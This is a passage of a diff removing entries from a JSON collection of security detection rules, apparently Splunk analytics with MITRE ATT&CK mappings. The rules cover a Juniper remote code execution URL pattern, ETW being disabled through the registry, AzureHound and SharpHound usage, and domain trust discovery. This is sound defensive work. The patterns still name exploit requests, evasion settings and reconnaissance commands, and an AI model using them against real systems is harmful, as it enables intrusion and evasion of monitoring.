"kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An outbound LDAP connection from $src_ip$ in your infrastructure connecting to dest ip $dest_ip$", - "risk_score": 56, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Juniper Networks Remote Code Execution Exploit Detection", - "description": "The following analytic detects attempts to exploit a remote code execution vulnerability in Juniper Networks devices. It identifies requests to /webauth_operation.php?PHPRC=*, which are indicative of uploading and executing malicious PHP files. This detection leverages the Web data model, focusing on specific URL patterns and HTTP status codes. This activity is significant because it signals an attempt to gain unauthorized access and execute arbitrary code on the device. If confirmed malicious, the attacker could gain control over the device, leading to data theft, network compromise, or other severe consequences.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/webauth_operation.php?PHPRC=*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `juniper_networks_remote_code_execution_exploit_detection_filter`", - "tags": { - "analytic_story": [ - "Juniper JunOS Remote Code Execution" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "This analytic has identified a potential exploitation of a remote code execution vulnerability in Juniper Networks devices on $dest$ on the URL $url$ used for the exploit.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -412442,82 +282535,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "ETW Registry Disabled", - "description": "The following analytic detects a registry modification that disables the Event Tracing for Windows (ETW) feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the ETWEnabled registry value under the .NETFramework path. This activity is significant because disabling ETW can allow attackers to evade Endpoint Detection and Response (EDR) tools and hide their execution from audit logs. If confirmed malicious, this action could enable attackers to operate undetected, potentially leading to further compromise and persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework*\" Registry.registry_value_name = ETWEnabled Registry.registry_value_data=0x00000000) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `etw_registry_disabled_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.006", - "mitre_attack_technique": "Indicator Blocking", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT41", - "APT5" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } } ], "external_reference": [ @@ -413872,1585 +283889,6 @@ "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" ] - }, - { - "name": "Detect AzureHound Command-Line Arguments", - "description": "The following analytic detects the execution of the `Invoke-AzureHound` command-line argument, commonly used by the AzureHound tool. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because AzureHound is often used for reconnaissance in Azure environments, potentially exposing sensitive information. If confirmed malicious, this activity could allow an attacker to map out Azure Active Directory structures, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*invoke-azurehound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ using AzureHound to enumerate AzureAD.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect AzureHound File Modifications", - "description": "The following analytic detects the creation of specific AzureHound-related files, such as `*-azurecollection.zip` and various `.json` files, on disk. It leverages data from the Endpoint.Filesystem datamodel, focusing on file creation events with specific filenames. This activity is significant because AzureHound is a tool used to gather information about Azure environments, similar to SharpHound for on-premises Active Directory. If confirmed malicious, this activity could indicate an attacker is collecting sensitive Azure environment data, potentially leading to further exploitation or privilege escalation within the cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*-azurecollection.zip\", \"*-azprivroleadminrights.json\", \"*-azglobaladminrights.json\", \"*-azcloudappadmins.json\", \"*-azapplicationadmins.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to AzureHound, a AzureAD enumeration utility, has occurred on endpoint $dest$ by user $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Command-Line Arguments", - "description": "The following analytic detects the execution of SharpHound command-line arguments, specifically `-collectionMethod` and `invoke-bloodhound`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as SharpHound is commonly used for Active Directory enumeration, which can be a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially compromising sensitive information and critical systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*-collectionMethod*\",\"*invoke-bloodhound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible SharpHound command-Line arguments identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound File Modifications", - "description": "The following analytic detects the creation of files typically associated with SharpHound, a reconnaissance tool used for gathering domain and trust data. It leverages file modification events from the Endpoint.Filesystem data model, focusing on default file naming patterns like `*_BloodHound.zip` and various JSON files. This activity is significant as it indicates potential domain enumeration, which is a precursor to more targeted attacks. If confirmed malicious, an attacker could gain detailed insights into the domain structure, facilitating lateral movement and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*bloodhound.zip\", \"*_computers.json\", \"*_gpos.json\", \"*_domains.json\", \"*_users.json\", \"*_groups.json\", \"*_ous.json\", \"*_containers.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user| `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound file modifications identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Usage", - "description": "The following analytic detects the usage of the SharpHound binary by identifying its original filename, `SharpHound.exe`, and the process name. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process metadata and command-line executions. SharpHound is a tool used for Active Directory enumeration, often by attackers during the reconnaissance phase. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially leading to privilege escalation and lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sharphound.exe OR Processes.original_file_name=SharpHound.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_usage_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound binary identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "DSQuery Domain Discovery", - "description": "The following analytic detects the execution of \"dsquery.exe\" with arguments targeting `TrustedDomain` queries directly from the command line. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process names and command-line arguments. This activity is significant as it often indicates domain trust discovery, a common step in lateral movement or privilege escalation by adversaries. If confirmed malicious, this could allow attackers to map domain trusts, potentially leading to further exploitation and unauthorized access to trusted domains.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=dsquery.exe Processes.process=*trustedDomain* by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `dsquery_domain_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Domain Trust Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified performing domain discovery on endpoint $dest$ by user $user$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Get-DomainTrust with PowerShell", - "description": "The following analytic identifies the execution of the Get-DomainTrust command from PowerView using PowerShell, which is used to gather domain trust information. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant as it indicates potential reconnaissance efforts by an adversary to understand domain trust relationships, which can inform lateral movement strategies. If confirmed malicious, this could allow attackers to map out the network, identify potential targets, and plan further attacks, potentially compromising additional systems within the domain.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=*get-domaintrust* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_domaintrust_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-DomainTrust was identified on endpoint $dest$ by user $user$.", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - } - ] - } - }, - { 